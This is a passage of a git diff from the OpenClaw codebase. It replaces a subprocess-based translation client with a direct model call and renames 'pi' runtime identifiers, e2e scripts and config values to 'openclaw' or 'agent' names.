pending.responseReceived = true; - return; - } - case "agent_end": { - try { - const result = extractTranslationResult(parsed); - this.pending = null; - pending.resolve(result); - } catch (error) { - this.pending = null; - pending.reject(error); - } - } - } + static async create(systemPrompt: string): Promise { + return new TranslationClient(systemPrompt); } async prompt(message: string, label: string): Promise { const result = this.sequence.then(async () => { if (this.closed) { - throw new Error(`pi process unavailable${this.stderr() ? ` (${this.stderr()})` : ""}`); + throw new Error("translation runtime unavailable"); } - const id = `req-${++this.requestCount}`; - const payload = JSON.stringify({ type: "prompt", id, message }); const timeoutMs = resolvePromptTimeoutMs(); const startedAt = Date.now(); + const controller = new AbortController(); return await new Promise((resolve, reject) => { const heartbeat = setInterval(() => { - const responseState = this.pending?.responseReceived - ? "response=received" - : "response=pending"; logProgress( - `${label}: still waiting (${formatDuration(Date.now() - startedAt)} / ${formatDuration(timeoutMs)}, ${responseState})`, + `${label}: still waiting (${formatDuration(Date.now() - startedAt)} / ${formatDuration(timeoutMs)})`, ); }, PROGRESS_HEARTBEAT_MS); const timer = setTimeout(() => { - if (this.pending?.id === id) { - this.pending = null; - clearInterval(heartbeat); - void this.close(); - const stderr = this.stderr(); - reject( - new Error( - `${label}: translation prompt timed out after ${timeoutMs}ms${stderr ? ` (pi stderr: ${stderr})` : ""}`, - ), - ); - } + clearInterval(heartbeat); + controller.abort(); + reject(new Error(`${label}: translation prompt timed out after ${timeoutMs}ms`)); }, timeoutMs); - this.pending = { - id, - reject: (reason) => { + completeSimple( + this.model, + { + systemPrompt: this.systemPrompt, + messages: [{ role: "user", content: message, timestamp: Date.now() }], + }, + { + maxTokens: 4096, + reasoning: resolveThinkingLevel(), + signal: controller.signal, + timeoutMs, + }, + ) + .then((assistantMessage) => { clearTimeout(timer); clearInterval(heartbeat); - reject(reason); - }, - resolve: (value) => { + resolve(extractTranslationResult(assistantMessage)); + }) + .catch((error) => { clearTimeout(timer); clearInterval(heartbeat); - resolve(value); - }, - responseReceived: false, - }; - - this.stdin.write(`${payload}\n`, (error) => { - if (!error) { - return; - } - clearTimeout(timer); - clearInterval(heartbeat); - if (this.pending?.id === id) { - this.pending = null; - } - reject(error); - }); + reject(error); + }); }); }); @@ -1488,44 +1164,21 @@ class PiRpcClient { return; } this.closed = true; - this.stdin.end(); - this.process.kill("SIGTERM"); - await sleep(150); - if (!this.process.killed) { - this.process.kill("SIGKILL"); - } } } -function extractTranslationResult(payload: Record): string { - const messages = Array.isArray(payload.messages) ? payload.messages : []; - for (let index = messages.length - 1; index >= 0; index -= 1) { - const message = messages[index]; - if (!message || typeof message !== "object") { - continue; - } - if ((message as { role?: string }).role !== "assistant") { - continue; - } - const errorMessage = (message as { errorMessage?: string }).errorMessage; - const stopReason = (message as { stopReason?: string }).stopReason; - if (errorMessage || stopReason === "error") { - throw new Error(errorMessage?.trim() || "pi error"); - } - const content = (message as { content?: unknown }).content; - if (typeof content === "string") { - return content; - } - if (Array.isArray(content)) { - return content - .filter((block): block is { type?: string; text?: string } => - Boolean(block && typeof block === "object"), - ) - .map((block) => (block.type === "text" && typeof block.text === "string" ? block.text : "")) - .join(""); - } +function extractTranslationResult(message: AssistantMessage): string { + if (message.errorMessage || message.stopReason === "error") { + throw new Error(message.errorMessage?.trim() || "translation provider error"); } - throw new Error("assistant translation not found"); + const text = message.content + .map((block) => (block.type === "text" ? block.text : "")) + .join("") + .trim(); + if (!text) { + throw new Error("assistant translation not found"); + } + return text; } async function translateBatch( @@ -1674,11 +1327,11 @@ async function syncLocale( logProgress( `${localeLabel}: start keys=${sourceFlat.size} pending=${pending.length} batches=${batchCount} provider=${resolveConfiguredProvider()} model=${resolveConfiguredModel()} thinking=${resolveThinkingLevel()} timeout=${formatDuration(resolvePromptTimeoutMs())} batch_chars=${resolveBatchCharBudget()}`, ); - let client: PiRpcClient | null = null; + let client: TranslationClient | null = null; const clientAccess: ClientAccess = { async getClient() { if (!client) { - client = await PiRpcClient.create(buildSystemPrompt(entry.locale, glossary)); + client = await TranslationClient.create(buildSystemPrompt(entry.locale, glossary)); } return client; }, diff --git a/scripts/copy-export-html-templates.ts b/scripts/copy-export-html-templates.ts index ba815a3b125..a1e4cda544b 100644 --- a/scripts/copy-export-html-templates.ts +++ b/scripts/copy-export-html-templates.ts @@ -9,44 +9,51 @@ import { ensureDirectory, logVerboseCopy, resolveBuildCopyContext } from "./lib/ const context = resolveBuildCopyContext(import.meta.url); -const srcDir = path.join(context.projectRoot, "src", "auto-reply", "reply", "export-html"); -const distDir = path.join(context.projectRoot, "dist", "export-html"); +const exportHtmlSrcDir = path.join( + context.projectRoot, + "src", + "auto-reply", + "reply", + "export-html", +); +const exportHtmlDistDir = path.join( + context.projectRoot, + "dist", + "auto-reply", + "reply", + "export-html", +); function copyExportHtmlTemplates() { - if (!fs.existsSync(srcDir)) { - console.warn(`${context.prefix} Source directory not found:`, srcDir); + if (!fs.existsSync(exportHtmlSrcDir)) { + console.warn(`${context.prefix} Source directory not found:`, exportHtmlSrcDir); return; } - ensureDirectory(distDir); - - const templateFiles = ["template.html", "template.css", "template.js"]; + fs.rmSync(exportHtmlDistDir, { recursive: true, force: true }); + ensureDirectory(exportHtmlDistDir); let copiedCount = 0; - for (const file of templateFiles) { - const srcFile = path.join(srcDir, file); - const distFile = path.join(distDir, file); - if (fs.existsSync(srcFile)) { + + const copyDir = (srcDir: string, distDir: string, relativePrefix = "") => { + ensureDirectory(distDir); + for (const file of fs.readdirSync(srcDir)) { + const srcFile = path.join(srcDir, file); + const distFile = path.join(distDir, file); + const relativeName = path.join(relativePrefix, file); + if (file.endsWith(".test.ts")) { + continue; + } + if (fs.statSync(srcFile).isDirectory()) { + copyDir(srcFile, distFile, relativeName); + continue; + } fs.copyFileSync(srcFile, distFile); copiedCount += 1; - logVerboseCopy(context, `Copied ${file}`); + logVerboseCopy(context, `Copied ${relativeName}`); } - } + }; - const srcVendor = path.join(srcDir, "vendor"); - const distVendor = path.join(distDir, "vendor"); - if (fs.existsSync(srcVendor)) { - ensureDirectory(distVendor); - const vendorFiles = fs.readdirSync(srcVendor); - for (const file of vendorFiles) { - const srcFile = path.join(srcVendor, file); - const distFile = path.join(distVendor, file); - if (fs.statSync(srcFile).isFile()) { - fs.copyFileSync(srcFile, distFile); - copiedCount += 1; - logVerboseCopy(context, `Copied vendor/${file}`); - } - } - } + copyDir(exportHtmlSrcDir, exportHtmlDistDir); console.log(`${context.prefix} Copied ${copiedCount} export-html assets.`); } diff --git a/scripts/deadcode-unused-files.allowlist.mjs b/scripts/deadcode-unused-files.allowlist.mjs index 3d89c5a6750..3c7f9aa01f5 100644 --- a/scripts/deadcode-unused-files.allowlist.mjs +++ b/scripts/deadcode-unused-files.allowlist.mjs @@ -9,7 +9,6 @@ export const KNIP_UNUSED_FILE_ALLOWLIST = []; // package bridge files. Ignore these when reported, but do not require them // to be reported. export const KNIP_OPTIONAL_UNUSED_FILE_ALLOWLIST = [ - "extensions/acpx/src/runtime-internals/error-format.mjs", "extensions/acpx/src/runtime-internals/mcp-command-line.mjs", "extensions/acpx/src/runtime-internals/mcp-proxy.mjs", "extensions/canvas/src/host/a2ui-app/bootstrap.js", diff --git a/scripts/dev/channel-message-flows.ts b/scripts/dev/channel-message-flows.ts index 2bfc2ff6d6b..1bd9de30afd 100644 --- a/scripts/dev/channel-message-flows.ts +++ b/scripts/dev/channel-message-flows.ts @@ -19,7 +19,7 @@ import { createNativeTelegramToolProgressDraft, type NativeTelegramToolProgressDraft, } from "../../extensions/telegram/src/native-tool-progress-draft.js"; -import { formatReasoningMessage } from "../../src/agents/pi-embedded-utils.js"; +import { formatReasoningMessage } from "../../src/agents/embedded-agent-utils.js"; import { getRuntimeConfig } from "../../src/config/config.js"; import type { OpenClawConfig } from "../../src/config/types.openclaw.js"; import { formatChannelProgressDraftText } from "../../src/plugin-sdk/channel-outbound.js"; diff --git a/scripts/docker/install-sh-e2e/run.sh b/scripts/docker/install-sh-e2e/run.sh index ac09a3b1b03..828ac17c0b7 100755 --- a/scripts/docker/install-sh-e2e/run.sh +++ b/scripts/docker/install-sh-e2e/run.sh @@ -651,7 +651,7 @@ run_profile() { "$OPENAI_AGENT_MODEL" \ "openai/gpt-5.5" \ "openai/gpt-5.4-mini")" - openclaw --profile "$profile" config set models.providers.openai "{\"baseUrl\":\"https://api.openai.com/v1\",\"models\":[],\"timeoutSeconds\":${OPENAI_PROVIDER_TIMEOUT_SECONDS},\"agentRuntime\":{\"id\":\"pi\"}}" --strict-json >/dev/null + openclaw --profile "$profile" config set models.providers.openai "{\"baseUrl\":\"https://api.openai.com/v1\",\"models\":[],\"timeoutSeconds\":${OPENAI_PROVIDER_TIMEOUT_SECONDS},\"agentRuntime\":{\"id\":\"openclaw\"}}" --strict-json >/dev/null image_model="$(set_image_model "$profile" \ "openai/gpt-5.4-image-2")" else diff --git a/scripts/docs-i18n/prompt.go b/scripts/docs-i18n/prompt.go index 21fe3a8491a..e5c022ec9ed 100644 --- a/scripts/docs-i18n/prompt.go +++ b/scripts/docs-i18n/prompt.go @@ -106,7 +106,7 @@ Rules: English exactly as written. - Insert a space between Latin characters and CJK text (W3C CLREQ), e.g., “Gateway 网关”, “Skills 配置”. - Use Chinese quotation marks “ and ” for Chinese prose; keep ASCII quotes inside code spans/blocks or literal CLI/keys. -- Keep product names in English: OpenClaw, Pi, WhatsApp, Telegram, Discord, iMessage, Slack, Microsoft Teams, Google Chat, Signal. +- Keep product names in English: OpenClaw, Raspberry Pi, WhatsApp, Telegram, Discord, iMessage, Slack, Microsoft Teams, Google Chat, Signal. - For the OpenClaw Gateway, use “Gateway 网关”. - Keep these terms in English: Skills, local loopback, Tailscale. - Never output an empty response; if unsure, return the source text unchanged. @@ -143,7 +143,7 @@ Rules: English exactly as written. - Use Japanese quotation marks 「 and 」 for Japanese prose; keep ASCII quotes inside code spans/blocks or literal CLI/keys. - Do not add or remove spacing around Latin text just because it borders Japanese; keep spacing stable unless required by Japanese grammar. -- Keep product names in English: OpenClaw, Pi, WhatsApp, Telegram, Discord, iMessage, Slack, Microsoft Teams, Google Chat, Signal. +- Keep product names in English: OpenClaw, Raspberry Pi, WhatsApp, Telegram, Discord, iMessage, Slack, Microsoft Teams, Google Chat, Signal. - Keep these terms in English: Skills, local loopback, Tailscale. - Never output an empty response; if unsure, return the source text unchanged. @@ -178,7 +178,7 @@ Rules: UI-style labels. - If a glossary target is identical to the source text, preserve that term in English exactly as written. -- Keep product names in English: OpenClaw, Pi, WhatsApp, Telegram, Discord, iMessage, Slack, Microsoft Teams, Google Chat, Signal. +- Keep product names in English: OpenClaw, Raspberry Pi, WhatsApp, Telegram, Discord, iMessage, Slack, Microsoft Teams, Google Chat, Signal. - Keep these terms in English: Skills, local loopback, Tailscale. - Never output an empty response; if unsure, return the source text unchanged. diff --git a/scripts/e2e/pi-bundle-mcp-tools-docker-client.ts b/scripts/e2e/agent-bundle-mcp-tools-docker-client.ts similarity index 86% rename from scripts/e2e/pi-bundle-mcp-tools-docker-client.ts rename to scripts/e2e/agent-bundle-mcp-tools-docker-client.ts index dce1f96cd95..26aac1b84f3 100644 --- a/scripts/e2e/pi-bundle-mcp-tools-docker-client.ts +++ b/scripts/e2e/agent-bundle-mcp-tools-docker-client.ts @@ -1,4 +1,4 @@ -// Pi bundle MCP tools Docker harness. +// OpenClaw bundle MCP tools Docker harness. // Imports packaged dist modules so tool materialization is verified against the // npm tarball installed in the functional image. import { randomUUID } from "node:crypto"; @@ -6,13 +6,13 @@ import fs from "node:fs/promises"; import { createRequire } from "node:module"; import os from "node:os"; import path from "node:path"; -import { materializeBundleMcpToolsForRun } from "../../dist/agents/pi-bundle-mcp-materialize.js"; +import { materializeBundleMcpToolsForRun } from "../../dist/agents/agent-bundle-mcp-materialize.js"; import { disposeAllSessionMcpRuntimes, getOrCreateSessionMcpRuntime, -} from "../../dist/agents/pi-bundle-mcp-runtime.js"; -import { applyFinalEffectiveToolPolicy } from "../../dist/agents/pi-embedded-runner/effective-tool-policy.js"; -import { splitSdkTools } from "../../dist/agents/pi-embedded-runner/tool-split.js"; +} from "../../dist/agents/agent-bundle-mcp-runtime.js"; +import { applyFinalEffectiveToolPolicy } from "../../dist/agents/embedded-agent-runner/effective-tool-policy.js"; +import { splitSdkTools } from "../../dist/agents/embedded-agent-runner/tool-split.js"; import type { OpenClawConfig } from "../../dist/config/types.openclaw.js"; import { getPluginToolMeta } from "../../dist/plugins/tools.js"; @@ -33,9 +33,9 @@ async function writeProbeServer(serverPath: string) { import { McpServer } from ${JSON.stringify(sdkMcpServerPath)}; import { StdioServerTransport } from ${JSON.stringify(sdkStdioServerPath)}; -const server = new McpServer({ name: "pi-bundle-mcp-tools-probe", version: "1.0.0" }); -server.tool("docker_probe", "Docker Pi MCP tool availability probe", async () => ({ - content: [{ type: "text", text: "pi-bundle-mcp-tools-ok" }], +const server = new McpServer({ name: "agent-bundle-mcp-tools-probe", version: "1.0.0" }); +server.tool("docker_probe", "Docker OpenClaw MCP tool availability probe", async () => ({ + content: [{ type: "text", text: "agent-bundle-mcp-tools-ok" }], })); await server.connect(new StdioServerTransport()); @@ -53,7 +53,7 @@ function applyPolicy(params: { tools: applyFinalEffectiveToolPolicy({ bundledTools: params.tools, config: params.config, - sessionKey: "agent:main:docker-pi-bundle-mcp", + sessionKey: "agent:main:docker-agent-bundle-mcp", agentId: "main", senderIsOwner: true, warn: (message) => { @@ -67,8 +67,8 @@ function applyPolicy(params: { async function main() { const stateDir = process.env.OPENCLAW_STATE_DIR?.trim() || - path.join(os.tmpdir(), `openclaw-pi-bundle-mcp-${process.pid}`); - const probeDir = path.join(stateDir, "pi-bundle-mcp-tools"); + path.join(os.tmpdir(), `openclaw-agent-bundle-mcp-${process.pid}`); + const probeDir = path.join(stateDir, "agent-bundle-mcp-tools"); const serverPath = path.join(probeDir, "probe-server.mjs"); await fs.mkdir(probeDir, { recursive: true }); await writeProbeServer(serverPath); @@ -91,8 +91,8 @@ async function main() { try { const runtime = await getOrCreateSessionMcpRuntime({ - sessionId: `docker-pi-bundle-mcp-${randomUUID()}`, - sessionKey: "agent:main:docker-pi-bundle-mcp", + sessionId: `docker-agent-bundle-mcp-${randomUUID()}`, + sessionKey: "agent:main:docker-agent-bundle-mcp", workspaceDir: probeDir, cfg, }); @@ -106,7 +106,9 @@ async function main() { const result = await probeTool.execute("docker-mcp-probe", {}, undefined, undefined); assert( - result.content.some((item) => item.type === "text" && item.text === "pi-bundle-mcp-tools-ok"), + result.content.some( + (item) => item.type === "text" && item.text === "agent-bundle-mcp-tools-ok", + ), "expected materialized MCP tool execution result", ); diff --git a/scripts/e2e/pi-bundle-mcp-tools-docker.sh b/scripts/e2e/agent-bundle-mcp-tools-docker.sh similarity index 61% rename from scripts/e2e/pi-bundle-mcp-tools-docker.sh rename to scripts/e2e/agent-bundle-mcp-tools-docker.sh index 190dce14fc6..29c62e4e1fb 100755 --- a/scripts/e2e/pi-bundle-mcp-tools-docker.sh +++ b/scripts/e2e/agent-bundle-mcp-tools-docker.sh @@ -1,13 +1,13 @@ #!/usr/bin/env bash -# Verifies embedded Pi bundle MCP tool materialization and tool-policy behavior +# Verifies embedded OpenClaw bundle MCP tool materialization and tool-policy behavior # inside the package-installed functional E2E image. set -euo pipefail ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" source "$ROOT_DIR/scripts/lib/docker-e2e-image.sh" -IMAGE_NAME="$(docker_e2e_resolve_image "openclaw-pi-bundle-mcp-tools-e2e" OPENCLAW_IMAGE)" -CONTAINER_NAME="openclaw-pi-bundle-mcp-tools-e2e-$$" -RUN_LOG="$(mktemp -t openclaw-pi-bundle-mcp-tools-log.XXXXXX)" +IMAGE_NAME="$(docker_e2e_resolve_image "openclaw-agent-bundle-mcp-tools-e2e" OPENCLAW_IMAGE)" +CONTAINER_NAME="openclaw-agent-bundle-mcp-tools-e2e-$$" +RUN_LOG="$(mktemp -t openclaw-agent-bundle-mcp-tools-log.XXXXXX)" cleanup() { docker_e2e_docker_cmd rm -f "$CONTAINER_NAME" >/dev/null 2>&1 || true @@ -15,10 +15,10 @@ cleanup() { } trap cleanup EXIT -docker_e2e_build_or_reuse "$IMAGE_NAME" pi-bundle-mcp-tools -OPENCLAW_TEST_STATE_SCRIPT_B64="$(docker_e2e_test_state_shell_b64 pi-bundle-mcp-tools empty)" +docker_e2e_build_or_reuse "$IMAGE_NAME" agent-bundle-mcp-tools +OPENCLAW_TEST_STATE_SCRIPT_B64="$(docker_e2e_test_state_shell_b64 agent-bundle-mcp-tools empty)" -echo "Running in-container Pi bundle MCP tool availability smoke..." +echo "Running in-container OpenClaw bundle MCP tool availability smoke..." # Harness files are mounted read-only; the app under test comes from /app/dist. set +e docker_e2e_run_with_harness \ @@ -28,13 +28,13 @@ docker_e2e_run_with_harness \ bash -lc "set -euo pipefail source scripts/lib/openclaw-e2e-instance.sh openclaw_e2e_eval_test_state_from_b64 \"\${OPENCLAW_TEST_STATE_SCRIPT_B64:?missing OPENCLAW_TEST_STATE_SCRIPT_B64}\" - tsx scripts/e2e/pi-bundle-mcp-tools-docker-client.ts + tsx scripts/e2e/agent-bundle-mcp-tools-docker-client.ts " >"$RUN_LOG" 2>&1 status=${PIPESTATUS[0]} set -e if [ "$status" -ne 0 ]; then - echo "Docker Pi bundle MCP tool availability smoke failed" + echo "Docker OpenClaw bundle MCP tool availability smoke failed" cat "$RUN_LOG" exit "$status" fi diff --git a/scripts/e2e/lib/codex-media-path/write-config.mjs b/scripts/e2e/lib/codex-media-path/write-config.mjs index c146daeea30..a1579bb2637 100644 --- a/scripts/e2e/lib/codex-media-path/write-config.mjs +++ b/scripts/e2e/lib/codex-media-path/write-config.mjs @@ -45,7 +45,6 @@ const config = { }, agents: { defaults: { - agentRuntime: { id: "codex" }, model: { primary: "codex/gpt-5.5", fallbacks: [] }, models: { "codex/gpt-5.5": { @@ -61,8 +60,12 @@ const config = { { id: "main", default: true, - agentRuntime: { id: "codex" }, model: { primary: "codex/gpt-5.5", fallbacks: [] }, + models: { + "codex/gpt-5.5": { + agentRuntime: { id: "codex" }, + }, + }, workspace: workspaceDir, }, ], diff --git a/scripts/e2e/lib/codex-npm-plugin-live/assertions.mjs b/scripts/e2e/lib/codex-npm-plugin-live/assertions.mjs index fed4d868d47..e3e768f5334 100644 --- a/scripts/e2e/lib/codex-npm-plugin-live/assertions.mjs +++ b/scripts/e2e/lib/codex-npm-plugin-live/assertions.mjs @@ -66,7 +66,10 @@ function configure() { defaults: { ...cfg.agents?.defaults, model: { primary: modelRef, fallbacks: [] }, - agentRuntime: { id: "codex" }, + models: { + ...cfg.agents?.defaults?.models, + [modelRef]: { agentRuntime: { id: "codex" } }, + }, workspace: path.join(state, "workspace"), skipBootstrap: true, timeoutSeconds: 420, diff --git a/scripts/e2e/lib/fixtures/config.mjs b/scripts/e2e/lib/fixtures/config.mjs index 8b513d8eb90..0dbd578a5cf 100644 --- a/scripts/e2e/lib/fixtures/config.mjs +++ b/scripts/e2e/lib/fixtures/config.mjs @@ -101,7 +101,7 @@ function writeOpenWebUiConfig([openaiApiKey]) { path: "models.providers.openai.timeoutSeconds", value: Number.parseInt(process.env.OPENCLAW_OPENWEBUI_PROVIDER_TIMEOUT_SECONDS ?? "900", 10), }, - { path: "models.providers.openai.agentRuntime", value: { id: "pi" } }, + { path: "models.providers.openai.agentRuntime", value: { id: "openclaw" } }, { path: "gateway.controlUi.enabled", value: false }, { path: "gateway.mode", value: "local" }, { path: "gateway.bind", value: "lan" }, diff --git a/scripts/e2e/lib/live-plugin-tool/assertions.mjs b/scripts/e2e/lib/live-plugin-tool/assertions.mjs index 9d990fb0a68..1ddfeed7a8e 100644 --- a/scripts/e2e/lib/live-plugin-tool/assertions.mjs +++ b/scripts/e2e/lib/live-plugin-tool/assertions.mjs @@ -271,7 +271,7 @@ function configure() { api: "openai-responses", baseUrl: (process.env.OPENAI_BASE_URL || "https://api.openai.com/v1").trim(), apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, timeoutSeconds: agentTurnTimeoutSeconds, models: [ { @@ -298,7 +298,7 @@ function configure() { ...cfg.agents?.defaults?.models, [modelRef]: { ...cfg.agents?.defaults?.models?.[modelRef], - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, params: { transport: "sse", openaiWsWarmup: false }, }, }, diff --git a/scripts/e2e/lib/openai-chat-tools/write-config.mjs b/scripts/e2e/lib/openai-chat-tools/write-config.mjs index 0c3bd2ecd43..5d2c45afd3a 100644 --- a/scripts/e2e/lib/openai-chat-tools/write-config.mjs +++ b/scripts/e2e/lib/openai-chat-tools/write-config.mjs @@ -42,7 +42,7 @@ const config = { api: "openai-responses", apiKey: { source: "env", provider: "default", id: "OPENAI_API_KEY" }, baseUrl: (process.env.OPENAI_BASE_URL || "https://api.openai.com/v1").trim(), - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, timeoutSeconds, models: [ { @@ -65,7 +65,7 @@ const config = { model: { primary: modelRef, fallbacks: [] }, models: { [modelRef]: { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, params: { transport: "sse", openaiWsWarmup: false }, }, }, diff --git a/scripts/e2e/npm-telegram-rtt-config.mjs b/scripts/e2e/npm-telegram-rtt-config.mjs index a6fb353755a..a6b1b618c44 100755 --- a/scripts/e2e/npm-telegram-rtt-config.mjs +++ b/scripts/e2e/npm-telegram-rtt-config.mjs @@ -33,7 +33,7 @@ config.models = config.models ?? {}; config.models.providers = config.models.providers ?? {}; config.models.providers.openai = { api: "openai-responses", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, apiKey: { source: "env", provider: "default", @@ -56,7 +56,7 @@ config.agents.defaults = config.agents.defaults ?? {}; config.agents.defaults.model = { primary: "openai/gpt-5.5" }; config.agents.defaults.models = { "openai/gpt-5.5": { - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, params: { transport: "sse", openaiWsWarmup: false, diff --git a/scripts/e2e/parallels/powershell.ts b/scripts/e2e/parallels/powershell.ts index 3e7c0de0a1e..64cd43d6d11 100644 --- a/scripts/e2e/parallels/powershell.ts +++ b/scripts/e2e/parallels/powershell.ts @@ -138,7 +138,7 @@ for (const op of payload.operations || []) { const selectedModelEntry = cfg.agents.defaults.models[payload.modelId]; if (selectedModelEntry && typeof selectedModelEntry === "object" && !Array.isArray(selectedModelEntry)) { if (canWriteAgentRuntime) { - selectedModelEntry.agentRuntime = { id: "pi" }; + selectedModelEntry.agentRuntime = { id: "openclaw" }; } else { delete selectedModelEntry.agentRuntime; } diff --git a/scripts/e2e/session-runtime-context-docker-client.ts b/scripts/e2e/session-runtime-context-docker-client.ts index 6e95f6b831a..089cccdc6b6 100644 --- a/scripts/e2e/session-runtime-context-docker-client.ts +++ b/scripts/e2e/session-runtime-context-docker-client.ts @@ -5,11 +5,11 @@ import { spawnSync } from "node:child_process"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; -import { SessionManager } from "@earendil-works/pi-coding-agent"; +import { SessionManager } from "openclaw/plugin-sdk/agent-sessions"; import { buildRuntimeContextCustomMessage, resolveRuntimeContextPromptParts, -} from "../../dist/agents/pi-embedded-runner/run/runtime-context-prompt.js"; +} from "../../dist/agents/embedded-agent-runner/run/runtime-context-prompt.js"; type TranscriptEntry = { type?: string; diff --git a/scripts/e2e/status-corrupt-plugin-deps.sh b/scripts/e2e/status-corrupt-plugin-deps.sh index 4d351961181..6c276805b40 100644 --- a/scripts/e2e/status-corrupt-plugin-deps.sh +++ b/scripts/e2e/status-corrupt-plugin-deps.sh @@ -105,7 +105,6 @@ cat > "$CONFIG_PATH" <"$target" } openclaw_e2e_install_trash_shim() { diff --git a/scripts/lib/openclaw-test-state.mjs b/scripts/lib/openclaw-test-state.mjs index c39e374475e..2111de02a94 100644 --- a/scripts/lib/openclaw-test-state.mjs +++ b/scripts/lib/openclaw-test-state.mjs @@ -404,7 +404,6 @@ export function renderShellFunction() { ${renderAuthProfileSecretKeyExport().join("\n ")} export OPENCLAW_TEST_WORKSPACE_DIR="$OPENCLAW_TEST_STATE_HOME/workspace" unset OPENCLAW_AGENT_DIR - unset PI_CODING_AGENT_DIR unset OPENCLAW_SERVICE_REPAIR_POLICY mkdir -p "$OPENCLAW_STATE_DIR" "$OPENCLAW_TEST_WORKSPACE_DIR" case "$scenario" in diff --git a/scripts/lib/plugin-sdk-deprecated-public-subpaths.json b/scripts/lib/plugin-sdk-deprecated-public-subpaths.json index 235e6ff4761..1f5d6a458ea 100644 --- a/scripts/lib/plugin-sdk-deprecated-public-subpaths.json +++ b/scripts/lib/plugin-sdk-deprecated-public-subpaths.json @@ -1,6 +1,8 @@ [ "agent-config-primitives", + "agent-runtime-test-contracts", "channel-config-schema-legacy", + "channel-contract-testing", "channel-envelope", "channel-inbound-roots", "channel-lifecycle", @@ -14,6 +16,8 @@ "channel-runtime", "channel-secret-runtime", "channel-streaming", + "channel-target-testing", + "channel-test-helpers", "command-auth", "compat", "config-runtime", @@ -39,7 +43,11 @@ "music-generation-core", "outbound-runtime", "outbound-send-deps", + "plugin-test-api", + "plugin-test-contracts", "provider-auth-login", + "provider-http-test-mocks", + "provider-test-contracts", "provider-zai-endpoint", "reply-dedupe", "runtime-logger", @@ -48,6 +56,10 @@ "setup-adapter-runtime", "telegram-account", "telegram-command-config", + "test-env", + "test-fixtures", + "test-node-mocks", + "testing", "text-runtime", "webhook-path", "zalouser", diff --git a/scripts/lib/plugin-sdk-entrypoints.json b/scripts/lib/plugin-sdk-entrypoints.json index b655a45b766..258b53d9d5d 100644 --- a/scripts/lib/plugin-sdk-entrypoints.json +++ b/scripts/lib/plugin-sdk-entrypoints.json @@ -39,6 +39,7 @@ "cron-store-runtime", "config-schema", "json-schema-runtime", + "json-unsafe-integers", "reply-runtime", "reply-dedupe", "reply-dispatch-runtime", @@ -317,5 +318,8 @@ "webhook-path", "web-media", "zalouser", - "zod" + "zod", + "agent-core", + "agent-sessions", + "llm" ] diff --git a/scripts/openclaw-cross-os-release-checks.ts b/scripts/openclaw-cross-os-release-checks.ts index fe23f0af58f..1bcf836a1c0 100644 --- a/scripts/openclaw-cross-os-release-checks.ts +++ b/scripts/openclaw-cross-os-release-checks.ts @@ -102,7 +102,7 @@ function buildReleaseProviderConfigOverride(providerMeta) { } return { ...(typeof providerMeta.baseUrl === "string" ? { baseUrl: providerMeta.baseUrl } : {}), - ...(providerMeta.extensionId === "openai" ? { agentRuntime: { id: "pi" } } : {}), + ...(providerMeta.extensionId === "openai" ? { agentRuntime: { id: "openclaw" } } : {}), models: [], ...(typeof providerMeta.timeoutSeconds === "number" ? { timeoutSeconds: providerMeta.timeoutSeconds } diff --git a/scripts/package-mac-app.sh b/scripts/package-mac-app.sh index 8c87eb51e26..8ebfc42617a 100755 --- a/scripts/package-mac-app.sh +++ b/scripts/package-mac-app.sh @@ -280,16 +280,6 @@ echo "📦 Copying device model resources" rm -rf "$APP_ROOT/Contents/Resources/DeviceModels" cp -R "$ROOT_DIR/apps/macos/Sources/OpenClaw/Resources/DeviceModels" "$APP_ROOT/Contents/Resources/DeviceModels" -echo "📦 Copying model catalog" -MODEL_CATALOG_SRC="$ROOT_DIR/node_modules/@earendil-works/pi-ai/dist/models.generated.js" -MODEL_CATALOG_DEST="$APP_ROOT/Contents/Resources/models.generated.js" -if [ -f "$MODEL_CATALOG_SRC" ]; then - cp "$MODEL_CATALOG_SRC" "$MODEL_CATALOG_DEST" -else - echo "ERROR: model catalog missing at $MODEL_CATALOG_SRC" >&2 - exit 1 -fi - echo "📦 Copying Control UI assets" CONTROL_UI_SRC="$ROOT_DIR/dist/control-ui" CONTROL_UI_DEST="$APP_ROOT/Contents/Resources/control-ui" diff --git a/scripts/perf/issue-78851-model-resolution.ts b/scripts/perf/issue-78851-model-resolution.ts index 8ce3ba19937..5bf974c30f1 100644 --- a/scripts/perf/issue-78851-model-resolution.ts +++ b/scripts/perf/issue-78851-model-resolution.ts @@ -3,11 +3,11 @@ import * as inspector from "node:inspector"; import { tmpdir } from "node:os"; import path from "node:path"; import { monitorEventLoopDelay, performance } from "node:perf_hooks"; +import { resolveModelAsync } from "../../src/agents/embedded-agent-runner/model.js"; import { ensureOpenClawModelsJson, resetModelsJsonReadyCacheForTest, } from "../../src/agents/models-config.js"; -import { resolveModelAsync } from "../../src/agents/pi-embedded-runner/model.js"; import type { OpenClawConfig } from "../../src/config/types.openclaw.js"; type Options = { diff --git a/scripts/perf/rtt-regression-audit.md b/scripts/perf/rtt-regression-audit.md index 476bf7bdbcc..18d32ba399c 100644 --- a/scripts/perf/rtt-regression-audit.md +++ b/scripts/perf/rtt-regression-audit.md @@ -49,7 +49,7 @@ Status: branch-local checkpoint, not release notes. - After rebasing onto `b5046968f61`, a fresh Testbox `pnpm check:changed` attempt on `tbx_01krwbsg15xvjdgpcz8fxq1htz` was blocked before reaching the changed gate: pnpm install rejected newly published - `@earendil-works/pi-ai@0.74.1` under `minimumReleaseAge`. + `openclaw/plugin-sdk/llm@0.74.1` under `minimumReleaseAge`. - After rebasing again, Testbox-through-Crabbox `tbx_01krwcxpxx1n22t8jmvcj40228` ran `pnpm check:changed` with an explicit `origin/main` fetch to repair the diff --git a/scripts/test-extension-batch.mjs b/scripts/test-extension-batch.mjs index 5e35d7415b0..1615fea3cc0 100644 --- a/scripts/test-extension-batch.mjs +++ b/scripts/test-extension-batch.mjs @@ -22,9 +22,11 @@ function printUsage() { } export function parseExtensionIds(rawArgs) { - const separatorIndex = rawArgs.indexOf("--"); - const args = separatorIndex >= 0 ? 